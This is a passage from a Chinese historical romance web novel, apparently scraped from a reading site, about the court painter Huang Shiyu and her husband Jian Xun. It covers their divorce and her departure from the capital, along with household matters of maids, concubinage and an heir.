气归气,脑筋一转,他忽然想到了另一层,梅娘该不会吃醋了吧? 这个可能令他的嘴角止不住上扬,好不容易才强压下去。 心里的得意肉眼可见地直往外冒。 登时也不觉得天冬碍眼了。 他整了整衣襟,负手昂然信步踱进书房。 自从哄好了梅娘,她与他又开始了共用书房的日子,一个读书一个画画儿。 “天冬,是怎么回事?”他明知故问。 黄时雨从宣纸上抬起头,默然望了他片刻,复又垂眸道:“娘和我都觉得她安分守己,月事又整好与我错开,以后月初就由她服侍你。” 简珣抿着笑来到她身边,倾身嗅了嗅,“有点酸,你不会吃醋了吧?” 黄时雨怔怔凝望他,心里想,这个人怎么还有心情与她顽笑的,难道还没有对她厌恶至极么? 可她的眼眶为何又涨又痛,涌过泪意。 于是她冷冷一笑,强作镇定道:“我有什么好醋的,倒是希望你能多添两个通房小妾,免得时时纠缠我。” 简珣的脸上闪过错愕,可那双明亮的眼眸依然似夏日灼灼的骄阳,望着她暄暖如初。 “我,我没有偷看天冬。”他以为真的惹恼了她,不得不忍气吞声反驳,“你莫要诬赖我。” “没有天冬还会有天夏天春天秋。”她用力抿了一下嘴角,柔声道,“阿珣,你打算逃避到几时,现在一点也不像你。” 简珣笑了声,眼里掠过不易察觉的慌乱,“我的事无需你操心,管好你自己吧。” 黄时雨点点头,“我当然要管好自己,去年就报了名,侥幸抓住一个升官大好时机。” 什么意思?简珣拧眉看她。 “你不是最为了解我,知我素日惯爱盯着官阶,当一个大好的升官机会放在跟前,我怎舍得不抓紧了。”黄时雨佯装镇定地坐直身体,“此番离京采风少则三年多则五年,于我来说不痛不痒,可你不行,长辈们也不会允许的。” 不允许的后果当然是换一个健康又能围在简珣身边的好姑娘做他的妻子。 简珣听清了每一个字,连在一起仿佛又很难懂,“所以呢?” “阿珣,我们和离吧。”她说和离,却倾身抱住了他,唯有如此,才能获得一丝慰藉,以及藏起满脸的泪痕,“对不起,在我心里没有比画道比仕途更重要的,我想要更广更阔的天地,无拘无束,你对我那么好,可不可以再成全我一次?” “权当放过我也放了你自己。” “只要我在一天,你心里的那根刺就永远不会消失。” “是我对不住你,不管你骂我也好打我也罢,我都不会有怨言。” 可是他太冷静了,脸色又那般苍白,宛若一尊石化的雕塑,就那样僵硬原地,久久无言。 一时间,两颗心都在滴血,静谧流淌。 简珣嘴角有些抽搐,不屑地笑了声,“我说什么大事呢,同我叽叽歪歪说了一大串,不会是那人等不及要迎你过门了吧?” 他一脸无所谓地推开她,后退两步,拉来圈子坐下,竭力掩饰已然发抖的手指。 “没人想娶我,我以后也不嫁人。”黄时雨狠狠抹了把眼睛。 可她的痛苦在他眼里就像个笑话,亦或说她的话毫无可信度。 “这可是你说的,”简珣淡淡道,抬眸看着她,“你不会再嫁给别人。” 黄时雨说是。 然后他就沉默了。 黄时雨无措地望着他。 “也就是从去年就打好了主意,今年站住脚再仗着我阿娘背后撑腰才同我道出实情是吧?”他问。 “我,没有你想的那么坏……”她死死扣住自己的手心。 “黄时雨,你果真翅膀硬了。” “……”她无言以对。 “你这个人,经常说话不做数,什么永远对我好,不负我,什么苟富贵勿相忘,我们还击拳盟约过,可兑现过几条啊?”简珣慢慢道,声音里有股悲凉的飘渺。 他没有回答她是否同意,就挥一挥衣袖离开书房,步履潇洒。 八月离京,此时正值四月初。 日子居然相当平和安静地流淌。 简珣一改黄时雨口中“时时纠缠”她的形象,终日宿在书房。 而她根本没勇气过去催一句,哪怕是问一下到底离不离。 眼看时间就来到七月,她终于坐不住,主动去书房找他。 简珣正坐在竹棚下乘凉,身边一众丫鬟小厮有说有笑。 他余光瞥见她,表情就森冷许多,却笑着衔住天冬剥好的葡萄,任由天冬用帕子柔柔擦了擦他嘴角。 还怪尴尬的。黄时雨赧然地拧了拧手指,轻声问:“那件事,你还没考虑好吗?” “哪件事?”他终于抬眼看她。 在他咄咄逼人的视线下,她硬着头皮小声道一句和离。 下人无不变色,霎时躬身的躬身,屈膝的屈膝,慌忙撤退。 天冬也吓个不轻,料想自己沾上了大事,连忙起身,试图趁乱逃走,冷不丁被少爷抓住了手,轻轻一带跌坐在少爷的躺椅上。 简珣无所谓道:“不是八月份离京,眼下还早呢,咱们简府就这么不堪,竟让黄大人多住一天都浑身不自在。” 黄时雨嘴角翕了翕,只好转身离去,主要是他与天冬在她跟前腻腻歪歪的,她杵在旁边看着,委实不自在。 怨不得阿珣意难平,原来自己的另一半与他人调情是这种感受,而她似乎不只是“调情”那么简单。 这份意难平将随着时间的蹉跎,令彼此越来越痛苦。 这场身不由己的结合,看似无解,实则唯有她能解。 此后照常上衙下衙,简府众人心照不宣,对于黄时雨和简珣之间的古怪只字不提。 简珣与天冬的感情日渐深厚,就连用膳也有天冬从旁布菜。 黄时雨闷头吃饭。 一开始她也很不适应,后来就想开了,他俩都不觉得尴尬,自己干嘛难受,反正总要吃饭的。 不破不立,阿珣终于肯开枝散叶,黄时雨觉得婆母应当才是最开心的人。 然而程氏紧锁的眉头再一次令她感到不安。 从京师到昙州府一大半时间都是水路,坐官船而行。 黄时雨早就收拾好了行礼,她本就一无所有而来,走的时候也不该带太多,只带了一些自己俸禄攒下的私房以及常穿的换洗衣物。 七月下旬,在她的一次又一次催促下,简珣才不耐烦地走到书案前,随便写了两张和离书,迅速按了手印,甩到她脸上。 黄时雨一时没接住,手忙脚乱,好不容易从地上拾起,整理好检查一遍,才认真盖上了自己手印。 这是第一步,第二步由下人拿去府衙存录才算正式和离。 简珣将和离书递给福喜:“去吧,越快越好,免得耽误黄大人吉时。” 福喜哪里敢接话,只敢小声应是,一溜烟跑不见了。 黄时雨瞅了瞅门外守候的天冬,又瞄了眼面沉如水的简珣,她坐如针毡,只好道:“那,那我也先回去了。” 简珣却一把攥住了她冰凉的右手。 她立在原地恍惚地看向他。 他坐在那里,眼角泛红。 两个人都有些魔怔了,一时间都不知该说什么,就这般安静地牵着手。 直至黄昏。 天冬早已悄无声息地离开。 这一年,黄时雨未能留在京师过中秋,离开的那么狼狈,害怕回头多望一眼,委屈的眼泪就会夺眶而出。 昨晚,在书房宿了长达四个月的简珣又回到了上房。 严格来说,他已经不算她的夫君了。 他们是没有任何关系的一男一女。 可他却走进了她的寝卧,这于理不合。 黑暗中,他俯身噙住了她双唇,那眷恋的熟悉的温暖扑面而来。 整个过程,哪怕她有一丝挣扎,他或许都会停下,但她没有,简珣就完全压了下来。 直至夜深,他忽然起身,穿衣头也不回离去。 次日也未出现。 黄时雨带着琥珀和柳儿登上了大康驶往昙州府的官船。 她想,她是永远失去他了。 再也不会见面。 从十岁到十八岁认识的郎君。 官船行驶了一天一夜,柳儿才惊讶不迭,急急忙忙告诉黄时雨,她们的箱笼里竟多出了三万两银票。【你现在阅读的是 】 90-98 第81章 许配 蕊珠做完了分内之事,就再没有留在此间的借口了,她怯怯抬眸望了少爷一眼,而少爷在望着少奶奶,那一瞬,心脏狠狠痉挛了,她眼眶酸酸的,复又垂下睫毛,福了福身告退。 同时也冒出个狂妄的念头,倘若今晚少奶奶没来该多好。 安静的夜,花好月明,她与少爷近在咫尺,呼吸纠缠,那种事或许就顺其自然了,少奶奶看起来又是个好性儿的,见她可怜兴许就默认了。 从此她就是少爷有名有实的女人,安安静静服侍他一辈子。 这厢黄时雨左右讪笑了下,打破古怪的沉默,温声温气道:“阿珣,我来找你是有件事想商量,靠我自己拿不了主意。” 她非常坦然且自然地求助他,态度诚恳语气恭敬,简珣觉得自己应当开心才是,却怏怏盯着宝蓝五彩花卉的地衣发怔,良久,轻声问:“什么事?” 黄时雨便将姐姐下月离京一五一十告知,而自己为着安全考量,必须放一名可心的陪伴姐姐才放心。 聪不聪明是其次,品性才是关键。 以她的能力短期内难以寻得。 在她说话的空隙,屋里的丫鬟小厮悄无声息退个干净。 “阿珣,我从未去过那么远的地方,光是想一想心里头就发凉。”黄时雨捏着帕子,微蹙的眉心又紧了紧,“她身边就一个能使唤的丫鬟,若是像素秋白露那样我也就放心了,偏偏不是从小跟到大的,是现买的……” 简珣的目光重新凝着她,“要我帮忙找一个懂拳脚又可靠的?” 黄时雨“嗯”了声,美眸亮晶晶的。 与阿珣说话就是省心省力。 简珣思索了片刻,迎上她的视线,“那就宝络的师妹宝珠吧。原是打算留给你的,可你身边丫鬟再多一个略显拥挤,宝珠又不如她们勤敏才耽搁下来,不过应对大姐姐的处境断无问题,人品亦稳妥。” 黄时雨对简珣深信不疑,他说没问题那就一定没问题,感激道:“谢谢你阿珣,帮了我这么大的忙。” 她眼里的欢喜真真切切,简珣却移开了视线,苦笑道:“你高兴就成。” “你怎么了?”饶是慢半拍黄时雨也察觉了简珣突如其来的低落。 他不仅帮了自己天大的忙,还是自己的夫君,她再木头也不会坐视不理,反而相当关切,连忙上前摸了摸他额头,不烫,并未抱恙。 简珣却拉下她的手,放在掌中,一下一下捏着她尖尖的玉指,神情若有所思,“梅娘,你喜欢我么……” “喜欢呀。”黄时雨不假思索回。 四下就忽然凝滞了。 简珣又长又密的睫毛微颤,半掩了眸光,她看不清。 从方才就出现过这样的静默,黄时雨惴惴不安,抽回手问:“你是有什么心事吗?” 简珣却固执地拉回她的手,甚至将她抱在膝上,搂进怀中,牢牢拥着。 黄时雨心想,倘若自己争点气,长得又高又壮,这些男人便不敢把她当孩子动不动抱在膝头。 “别怕,我就抱一会儿。”简珣低低地安抚着。 他知道她不喜欢这种方式的“疼爱”,虽然那对于他而言神魂震颤,畅美不可言,可她不喜欢,会喊痛,他就再也没用过。 她不喜欢的,他会慢慢改。 黄时雨轻轻眨了眨睫毛,依言温顺地偎着他胸膛。 “梅娘。”简珣啄了啄她温热又光滑的额头,“素秋与白露今年就会许配人,不过照旧在我们的梅斋,将来还要做管事娘子,年纪上去便是管事妈妈。” 黄时雨被他亲得痒痒的,不过不难受,闻言睁开眼,“你不说我竟忘了,素秋与白露今年一个二十一个十八,确实早就到了婚配的年纪。” 简珣点了点头,轻笑,喉结也被带着微微滑动,黄时雨漫无目的盯着他喉结发呆。 “原是早该许配家里干练的小管事,可我阿娘喜欢她俩,打算留给我做通房小妾。” 黄时雨瞪大了眼,“这么多,会不会很累……”忽然意识到自己在说什么,她涨红了脸。 那种事确实很累啊,不然他为何喘息那么重,有时还隐隐地发抖,倘若每天都如此面对四个女人,岂不是吃不消。 简珣似乎没听懂,只是垂眸望着她,没有一丝儿嘲笑之意,还慎重“嗯”了一声,道:“你说的对,会很累,我不需要那么多女人,单伺候梅娘已经非常辛苦。” 顿了顿,他又轻轻道:“伺候梅娘很快乐,我,很喜欢。” 黄时雨觉得脑袋滚烫滚烫的,嘟囔道:“不,不要胡言乱语。” 依然那么害羞,即便他与她已经是世上最亲密无间的,她还是羞涩的胆怯的,敢睁大眼睛瞪着他的身体,却没有胆子看一眼他要她时的模样,她会非常害怕,总怕自己坏掉。 胆小如鼠。 简珣拥着她,爱怜地蹭了蹭她脸颊,“嗯,我不胡说。” “还有蕊珠。”这是他第一次在她面前提及这个女孩,这也是他的女人,说出来反而轻松了,“蕊珠胆量极小,心地善良,而且非常懂事,又跟了我这么些年,她除了我什么都没有,原先的家人只会将她卖掉。” 就像梅娘一样可怜。 “既然跟了我,这些年又一心一意的,不管开没开脸,我也得对她负责。以她的性格,必须配个同样温善的,她又这般年轻美貌,我不忍心将她许给年纪大的,所以我与阿娘商量过,等明年,舫西那边年轻的掌柜过来对账,就挑一个合适的娶她,你觉得怎么样?” 他不会为了讨好心爱的女人,苛待了另一个女孩。 这也是黄时雨对他最放心的一点,跟了阿珣,不论他如何生气断不会不给她活路。他是个有底线的人。 嫁给旁人,此时多半在水塘里泡着,亦或府衙大牢蹲着。 “阿珣,你是一个很善良很温柔的郎君欸。”黄时雨莞尔。 做掌柜的正头娘子可比做通房体面百倍,遇到有良心的主家,后代或许还能恢复良籍! 他对自己的女人真好,不,应说他对底层的人。 不枉蕊珠跟了他多年。 “那你喜欢这样的我吗?” 又问了一遍。 黄时雨只好又回答一遍:“喜欢,喜欢。” “骗人。” “?” 大部分时间她都挺喜欢简珣,偶尔讨厌。 不过她不擅长记仇,短暂讨厌后,转头就忘了。 简珣低头寻找她的唇,一点一点啄着,不同于以往噙住轻咬。 黄时雨忍不住笑出声,扭开脸,推他,“不要,我怕痒!” 轻了痒,重了痛,这就是个难伺候的祖宗。 “娘子,我……想要你。”简珣星眼朦胧,“今晚可不可以?” 差不多二十天了,他真的好难受,明知她可能会拒绝,还是小心翼翼问了。 黄时雨轻然嗯了一声。 唯有这么做才会有孩子的。 他立刻站起,横抱她匆匆走进暖阁。 黄时雨不安地攥紧了手心。 这次不同从前先哄她沉醉,等她足以接纳了再将她好一番折腾,而是从头至尾的温柔。 他轻轻握住她紧张的小拳头,轻啄她紧张的小嘴巴。 她被人温存呵护着,拢在怀抱里,有了依靠,那些风雨飘摇的颠簸动荡就不再狰狞可怖,两靥渐渐染上了粉色的桃花。 简珣竭力克制自己,目不转睛盯着梅娘细微的表情变化,听着一声声婉转莺啼。 与她共赴峰峦云间。 他大口大口地喘息,喃喃着“梅娘”,不愿离开。 这一晚书房仅要了一遍热水。 暖阁纱帐内,小夫妻相拥而眠。 次数多了梅娘会痛,痛了就不喜欢与他亲近。 次日旬假,素秋琥珀刻意远离暖阁,以免扰了清净。 黄时雨醒来直喊肚子痛,把简珣吓个不轻,纳闷那样温柔缓慢,为何还是伤了她。 所幸虚惊一场,她来了月事。 那么昨夜的努力岂不化为泡影。黄时雨的眼底掠过淡淡忧郁。 琥珀在纱帐外福了福身,得到应允才迈入搀扶黄时雨下床进净房收拾。 出来时已经换了洁净衣裤,还围着暖宫带,碧荷适时端来红糖水,另有一名大丫鬟提来加了草药的沐桶帮她泡足驱寒。 此番月事,竟没遭太大的罪平安度过了半天。 付妈妈功不可没。 不期然到访的月事改变了诸多计划。 简珣与黄时雨在书房度过闲暇。 要说这二人属实耐得下性子,一个钻进画里不问世事,一个沉醉古今史集流连忘返。 丫鬟们见怪不怪,颇为知情识趣,除了按时进茶和点心,半点也不靠近。 简珣放了枚银签阖上书册,梅娘仍旧摆弄着画案上粗细不一的笔管,仿佛在研究着什么。 “梅娘,大姐姐会不会因宝珠多待见我些?”他忽然问。 黄时雨诧异地看向他,想了想道:“姐姐没有不待见你,她对男子素来这般,不冷不热的,便是我阿爹也讨不着她几分笑脸的。” 姐姐饱受人间疾苦,见识过几多薄情,行事情有可原。黄时雨在心里道。 简珣张了张嘴,又咽了下去。 黄莺枝世故又桀骜,常使人琢磨不透,简珣深知这位妻姐对自己虽不至于厌恶但也绝对不喜。 对梅娘最好的人偏偏不喜他,对梅娘不好的人都很喜欢他。 曹妈妈在园子里探头探脑站了会。 柳儿与福泽临近十三岁,不似年纪小时亲密无间,可每每遇上还是能玩到一起。 此时两人就在积雪石堆砌的假山附近跳百索(注,跳绳)。 福泽眼尖当即发现了曹妈妈,便收了百索,拐一拐柳儿。 如今的柳儿营养跟得上,又不用挨打受罚,脑瓜越来越机灵,福泽拐她,她就反应过来什么事,一溜烟儿跑去茶水房,那里有琥珀姐姐、素秋姐姐、白露姐姐。 这厢曹妈妈还在伸着脖子眯着眼眺望。 冷不防素秋从一大簇绣球花后冒了出来,“曹妈妈。” 惊得曹妈妈三魂霎时出窍七魄,不停抚着心口念佛,气道:“吓煞我这把老骨头了,姑娘怎不在屋里伺候?” 素秋含笑道:“少爷少奶奶一齐做学问,我们又不是那起子眼皮子不沾水的,没得跑主子跟前讨嫌。妈妈不在上房亲自来书房是不是有什么要提点我等?” 曹妈妈凝噎,说一句“恰巧路过”就绷紧了嘴角离开此间,福泽见素秋飞给自己一记眼神,旋即轻手轻脚追过去,盯着曹妈妈拐上去清苑的复廊(注,中间有花墙间隔的游廊)方折返。 却说这曹妈妈本心倒也不坏,全然忠心程氏,体谅主子心底难言苦楚这才对少奶奶多有关注。 其实少奶奶大面上并无不妥,然细究起来还是有些儿霸道。少爷在府里的时间拢共就那么点,全是与少奶奶度过,就连爷们专属的书房也成了少奶奶的,平日不管少爷在不在,少奶奶百无禁忌,想进就进想出就出。 不过这世道的事多以男人为准则,简珣没有异议,旁人就没有置喙的道理,落在程氏眼底终归化成一声叹息。 然而昨晚一件小事,到底让曹妈妈上了心。 蕊珠离开书房后高一脚低一脚往自己“千里之外”的小轩走,走到半路无人之地蹲下抱膝闷闷哭。 自从少奶奶进屋,少爷就再不瞧她一眼,明明一开始还有说有笑的。 丫头可怜,从小在少爷身边长大,连身都不敢近,基本没有培养感情的机会,好不容易捱到开脸的岁数,少爷又迷上了少奶奶,新婚头一个月不给她机会,她不怨不恼,还念着给少奶奶做新衣裳讨巧儿卖卖乖,可少奶奶压根就没提携她的意思。 正常情况下,早该安排个通房以便主母月事期间服侍。 可惜黄时雨浑然不觉。 仿佛府里就没有这号人。 蕊珠正是思及种种才自苦不已。 不意此番全落进了曹妈妈眼里。 自懂事起,蕊珠就在大人的言传身教下得知自己的身份,她与其他丫鬟都不同,将来要做少爷最亲密的伴儿,知他一切喜好,时刻关注着他,也深深地爱慕着他,每一针每一线都是她无言的相思,她见证了少爷每年的身量变化,越来越高大英挺,他的贴身衣物全都出自她的手。 但只要为了他好,不让他分心,她就可以很听话很听话,做个最乖的女孩子,哪怕离得很远,触摸不到。 也正因为她很乖,少爷待她虽不亲近却很温柔。 若无少奶奶,两人多半就圆房了,也能在书房彼此款款相伴。 经此一事,曹妈妈早间在上房又看见丫鬟煮红糖水,眉头就皱紧了,晌午路过梅斋忍不住多瞧两眼,听守门婆子说自从早晨进去就没离开过,少奶奶与少爷形影不离。 来了月事也不忌讳。 曹妈妈的眉头拧成了一个疙瘩。 她离开梅斋径直回到了清苑,捺下满腹不满,谨守本分,并没多嘴的打算,这种事说一千道一万还得看主子脸色,主子不介意下人则缄口,却没想到程氏主动问起,曹妈妈便含蓄道出少奶奶来了月事,付妈妈功劳最大。 程氏幽幽道:“还是孩子,先由着他们吧。” 聪明的母亲不会明着做与儿子失和之事。 下半年再考虑也不迟,说不定梅娘肚子就有了动静,一切便也顺理成章。 反正阿珣熬不过女人十月怀胎的。 男人的劣根性,没有例外。 便是慎远不也在她怀有阿珣期间要了贴身小丫鬟,事后自以为神不知鬼不觉,以银子打发了事。 这是她与慎远感情最大的污点。 她宁愿他光明正大纳一房妾,收一个通房,而不是光风霁月扮演深情。 不过人死如灯灭,而他的爱护也是真的,程氏不再计较过往的云烟,只想阿珣平安到老,撑起宣道坊简府,而她也不用再小心翼翼地躲避着,大门不出二门不迈。 下午叶府来人传话,简珣正握着黄时雨的手,教她写草书,叶学士传他进府一叙,他不得不放下笔,净面净手更衣,白露为他重新束发。 这是谒见老师的基本礼仪,不仅举止恭敬,就连身体发肤乃至衣冠亦无不整齐洁净。 上回的教训历历在目,白露不敢再贸然行事,规规矩矩侍奉少爷梳头,系上嵌玉的雪蓝色缎带就欠身告退。 简珣抄起腰带丢给黄时雨。 这是个眼里没活的主。 “过来!”他佯嗔道。 黄时雨手忙脚乱接住从天而降的腰带。 “帮爷系上。”他端起架子,颐指气使的。 黄时雨拎着腰带走过去,他就更得意了。她系了半天系不上,便一股脑砸他怀里。 简珣慌忙躲避,“放肆,没大没小的。” 黄时雨几时怕过他,啐道:“有手有脚又有丫鬟,偏还要使唤我,安的什么心。” “你不会我教你啊,干嘛动粗,有辱斯文。” 他拽她回去,半哄半抱着。 黄时雨凝神稍作研究,男子的腰带不同于女子,有带钩。 简珣低着头教她撬开机关,黄时雨伸着笋芽般的白皙食指扣了扣,终于打开,不由笑着仰脸看向他。 “你可真聪明。”他夸奖道。 “我本来就不笨。” “嗯,那以后就麻烦你伺候我了。” 黄时雨小声道:“你不是有丫鬟……” “什么都让丫鬟来,我还娶媳妇做什么?” “你娶媳妇就是为了做这个吗?” “娶媳妇能做的可多了。要是觉得吃亏,不如……我也伺候你,帮你沐浴更衣……唔。” 黄时雨一把捂住他的嘴。 简珣被她捂出了火气,将她拉到屏风后,黄时雨早有提防,趁他不留神,从他腋下钻出就往外跑,途中还喊了琥珀与碧荷。 碧荷不如琥珀灵光,风风火火掀帘进来,就撞见了一脸尴尬的少爷。 简珣讪讪收回了手。 招风揽火的,把人惹急了便不管。他有口难言,生生忍耐下去,整了整衣冠怏怏不乐出门。 第82章 表叔 简珣前脚离府,黄时雨后脚就遣人去了趟保宁坊,得知姐姐在家,方才请示婆母出府。 画师自带了孤高神秘气质,寻常女子不太敢刻意接近黄时雨,再者未出阁的与她玩不到一处,出阁的年纪大多长她不少,有代沟,造成了她在京师往来的圈子极其简单。 难得她请求出门探望姐姐,程氏没有不应允的道理。 宝络寸步不离。 琥珀偷偷翻个白眼,不管做什么都抢在前头,挤开她。 这丫头也是个好脾气的,来少奶奶身边已做好了不受待见的准备,捱琥珀两记白眼也不往心里去。 白眼不痛不痒的,琥珀姐姐又没打她骂她。 车马不多时驶入保宁坊,黄家姐妹相见,眉眼间浮上了暖意,执手坐在退步说体己话。 黄时雨挑开支摘窗,透过窗子打量宝络,正在院子里教柳儿踢毽子。 “她师妹宝珠人品性格都没有问题,还耍得一手好拳脚,两三个魁梧歹人不见得能撂倒她,全家老小的身契又捏在阿珣手里,这样稳妥的人便是随你去天涯海角我都放心,下个旬假我带过来给你请安。” 黄莺枝愣了一下,眸光乍亮,动容道:“梅娘思虑的竟比我周全。” 黄时雨骄傲道:“我早就长大了!姐姐可要承下我的心意,不然我会忧思睡不着。” 黄莺枝莞尔,“那姐姐……便幸希笑纳了。” 姐妹俩四只手用力攥在一起。 身为女子走南闯北有诸多不便,谁不是为了生计硬着头皮走的,如今妹妹为她备下这么大一个惊喜,她岂会扭捏推拒。 黄莺枝想起了另一件事,“方才你提及月事,新婚燕尔的,旁人自不好指摘你,可日子长了你来月事再不闻不问简允璋身边是否有妥帖之人,仔细简夫人误解。” 妹妹不需要做贤妻,但得假装是个贤妻。 黄时雨柔声细语解释:“姐姐有所不知,他身边并不缺人,只不知为何一直未曾受用,昨儿还同我商议要将她们许配人家。我不至于蠢到赶节骨眼上为他安排,岂不与他唱反调,况且我去哪儿找堪比蕊珠白露的姿色。” 多此一举,画蛇添足。 既讨人嫌还落不着好。 黄莺枝的注意力全在“许配人家”四个字上,大为震撼,“都没受用过就要配出去?” 黄时雨“嗯”了声,“我时常也琢磨不透他。” 弄不明白的事儿她就懒得推敲了,其实就算推敲也敲不出个所以然。 “一个个如花似玉的姑娘他不用,你再上赶着添人确实多余了……”黄莺枝微微点头,灵光一闪,不暇思索道,“简允璋他,莫非,他要为你守身?” 黄时雨咬了口绿豆糕,鼓着腮帮道:“姐姐,你不长进了,他有什么理由要为我守身?” 黄莺枝哑口无言,抬眼踌躇望向妹妹,好个清亮的,一汪没有涟漪的小溪。 梅娘竟是个妙人。 “你倒是个明白的,我才安逸几时竟要忘记从前的教训。”黄莺枝抿唇自嘲道,“刘通成亲前不也视我为心上人,承诺一生一世呵护我,成亲后有段时间还为我守身如玉。” 黄时雨默笑不语,眨了眨眼看着姐姐,仿佛在说我聪明着呢。 黄莺枝揉揉她脑袋。 迄今为止也只从简珣口中听过鸢娘这个心上人,还不是说抛下就抛下。 薄情着呢。 再一个,他有什么理由对一个失贞的女子动情? 到现在还用宝络防着她呢。 况且,他本就是因为仕途才娶得她。 姐妹二人便不把时间浪费在男人身上,一齐讨论清宁县的风土人情,举国最繁华的贸易码头,西域蕃商络绎不绝,黄莺枝拍着胸脯保证要挣大钱。 有了钱就能成为梅娘坚实的后盾。 天黑前黄时雨才回了宣道坊,简珣被老师留在叶府用饭,恰巧给了程氏与黄时雨谈心的空间。 婆媳二人用了晚膳,气氛融洽。 膳后她们坐在紫藤架下品着今年最新的春明梨花,比刻意窨制的茶还来得香醇。 茶具则是一套相当顺应季节的冬青釉冰裂纹,颜色仿若碧水洗过的天空,极美,配着八瓣葵形的金丝楠木茶托,光侍茶的丫鬟就有三名。 这一顿茶总花费足够底层一家五口一年的嚼用。 程氏挥了挥手,丫鬟们双手交叠身前欠身退下,退到了主子大声召唤能听见的地方即可。 这是有话要说。 黄时雨便亲自侍茶,为婆母斟上一杯。 程氏柔声问:“梅娘,阿珣待你可好?” 黄时雨温声回:“体贴温柔,阿珣非常照顾我。” 程氏沉吟道:“那你可曾想过他心底也有沉重难言的压力,关系着整个简府。” 黄时雨字斟句酌一番,“梅娘愚笨,还请您明示……” “上个月济恩寺梨树林的劫难时不时提醒我,倘若阿珣有个好歹,咱们宣道坊简府就结束了。”程氏淡淡道。 简府是琅琊简氏的产业不是外姓女子的。 没有阿珣,天下之大再无婆媳容身之地。 不管去哪儿皆是寄人篱下。 也就琅琊简氏门风清正,没有闹出族人相残争夺家业的丑事,但前提得是简珣活着,活着才会有安国公不遗余力的维护,没有简珣的话,有一个姓简的子嗣也行。 否则,任何人都能理直气壮夺走一切。 这便是上至权贵下至百姓不惜一切也要有个儿子的缘故。 实在生不出的宁愿过继,以百年后家业拱手他人为代价,谋求活人有片瓦遮身。 子嗣之重不仅关系血脉更关系着寡母孀妇的命。 亦是时下世情。 黄时雨点了点头,婆母没有骗她。 程氏幽幽道:“我比任何人都不希望发生那种事,却也不得不给咱们留个退路,你,能理解我吗?” “我,理解。”黄时雨抿了抿唇。 那就好。程氏非常清楚黄时雨的品性,这是个好孩子。 “你先调理着,机缘到了说不准今年就能怀上,若天意非要蹉跎,明年,你可接受阿珣纳房良妾?” 这种事哪有她接不接受的资格,黄时雨和顺道:“一切全凭娘做主。” “你是个懂事的,我不亏待你,定然担保你做个光鲜体面的正室,谁都不能越过去。孩子将来记在你名下,自己养或是交给我,由你拿主意,不论哪一种,他此生只会认你为母。”程氏打量着黄时雨的神情,又补充了一句,“这也是阿珣的想法,他有没有对你说?” 黄时雨怔了怔,连忙摇头,“没有。” 程氏叹道:“他最疼你,怕是不忍心,总想着再等等,万一你怀上了呢。今儿我来做坏人,提前告知了你,若是有什么不满便对我不满吧。” 这话就严重了,黄时雨起身屈膝欠身道:“儿媳不敢。” 程氏将她扶起,拉着她的手引坐自己身边,“那是最坏的一步,只要你今年怀上,兴许什么问题都迎刃而解。以我对阿珣的了解,他早对你用了心,妾不妾的有什么要紧,谁也分不走你半分宠爱。” 黄时雨思索片刻,迎上了程氏的眸子,“娘,您与阿珣的想法我理解,我尊重你们的决定。” 纳妾也好生子也罢,时下有余钱的男人都要做的事,简珣没理由不做。 况且他是真需要一名子嗣庇佑寡母保住门庭基业。 目光是澄澈温和的,声音是郑重其事的。 程氏清楚地看见了黄时雨的真诚。 是个清澈见底的人,没有半分虚伪。 阿珣把她养得真好。 被深爱着,所以充满底气。 否则,该如何解释那近乎凉薄的冷静。 程氏允许她哭泣、抱怨、恐惧,也会好好地安慰她,许诺更多好处,可她偏偏自持令人齿冷。 婆母的神情复杂难辨,黄时雨心头咯噔,以为自己说错了什么。 三更天,月上深空,弯弯的娥眉新月,犹如梅娘含笑的眉眼。简珣婉拒了叶府的留宿,匆匆赶回家中。 可惜还是不够早,梅娘早就歇下了。 考虑她正在月事中,疲乏嗜睡,自己贸然爬上床定会扰了她清梦,而且他饮了酒,有味道,不能熏了她,便在书房沐浴更衣,歇息一晚。 日子还得照常过,黄时雨整顿精神上衙,眼下头等大事莫过于初六静贵妃的肖像。 攸关仕途! 贵人肖像须在细绢描绘。 唯有绢才能呈现笔墨细微之处的幽妙与美感,笔痕既能如刀刻般清晰了然,亦可朦胧若轻纱,非熟宣所能及。 伴随极致美感而来的是极高的画技要求,普通画师,经验粗浅,通常难以掌握墨色的自然运转。 此外,绢的装裱难度比画更难,格外考验裱画师的功力。 不过无需黄时雨操心,画署有的是大裱画师。 她的天赋恰是墨色运笔,天生就是在绢上作画的料,简直是老天爷追着赏饭。也正因如此,才得到了诸多前辈赏识,但天赋只是让她在这条路上走的比普通人快,却不代表能快过几十年积累的前辈。 所以她一刻也不得闲,潜心钻研,积累经验与技巧。 闻道芝仔细翻看黄时雨临摹的两幅肖像,总体来说没啥问题,唔,保住了画魁的名声。 倘若再精进定会受益无穷。 二人在画署雕琢技艺,时间过得飞快。 又连续翻过两日,明儿便是黄时雨进宫侍奉静贵妃的日子,闻道芝盘算几番,终于下定决心带她出了画署。 “大人,咱们这是去哪儿?”黄时雨茫然不解。 “去画阁。” 闻道芝一副轻描淡写的语气,“低调些。” 黄时雨眨动的睫毛间全是惊疑。 “我好说歹说才劝闻遇教你半天,结果他还真就只教半天,忒不近人情了。那咱们脸皮干脆放厚了些,他不理咱们,咱们直接找他,再蹭个半天,明儿进宫底气岂不是更足!”闻道芝抬了抬眉。 “这不大好吧,咱们连拜帖也没送,”黄时雨不大情愿的,劝阻道,“如此贸贸然,万一小闻大人责备起来……” 必然只责备她,闻大人倒是可以高枕无忧。 闻道芝瞅着她那一脸怕事的怂样,没好气道:“责备我担着,你不必理会。” 黄时雨只好应承,不应承也没法儿,总不能跳下马车吧。 再次造访画阁,穿过三进的院子,又穿过后罩房的甬道,径直进了后花园。 园中风景独秀,传统的江南布局,分布着错落有致的楼舍房屋,二人一路畅行无阻,照旧走到上回最大的那间厅堂。 老管事显然未料才隔了几日闻大人又要打秋风。 迟早打闭阁喽。 闻道芝也知自己素日是个什么德行,恐引起误会,连忙道:“不打了不打了,我找小闻大人蹭堂课呢,他教一个弟子是教,教两个也不多,咱们只蹭半天。” 黄时雨尴尬地瞄了老管事一眼,讪讪然。 不意事情进展的相当顺利,小闻大人没有责罚她,更没有说难听的话儿,仅是淡淡扫了她一眼,就要带她走,却被闻大人一把拦住:“想什么呢,你那弟子年纪同她差不多,光你一个我都不放心。这样吧,我带她进侧室,关了槅门,你声音大点就成。” 闻遇脸上闪过了难得一见的狼狈,难堪道:“姑母,您在说什么?” 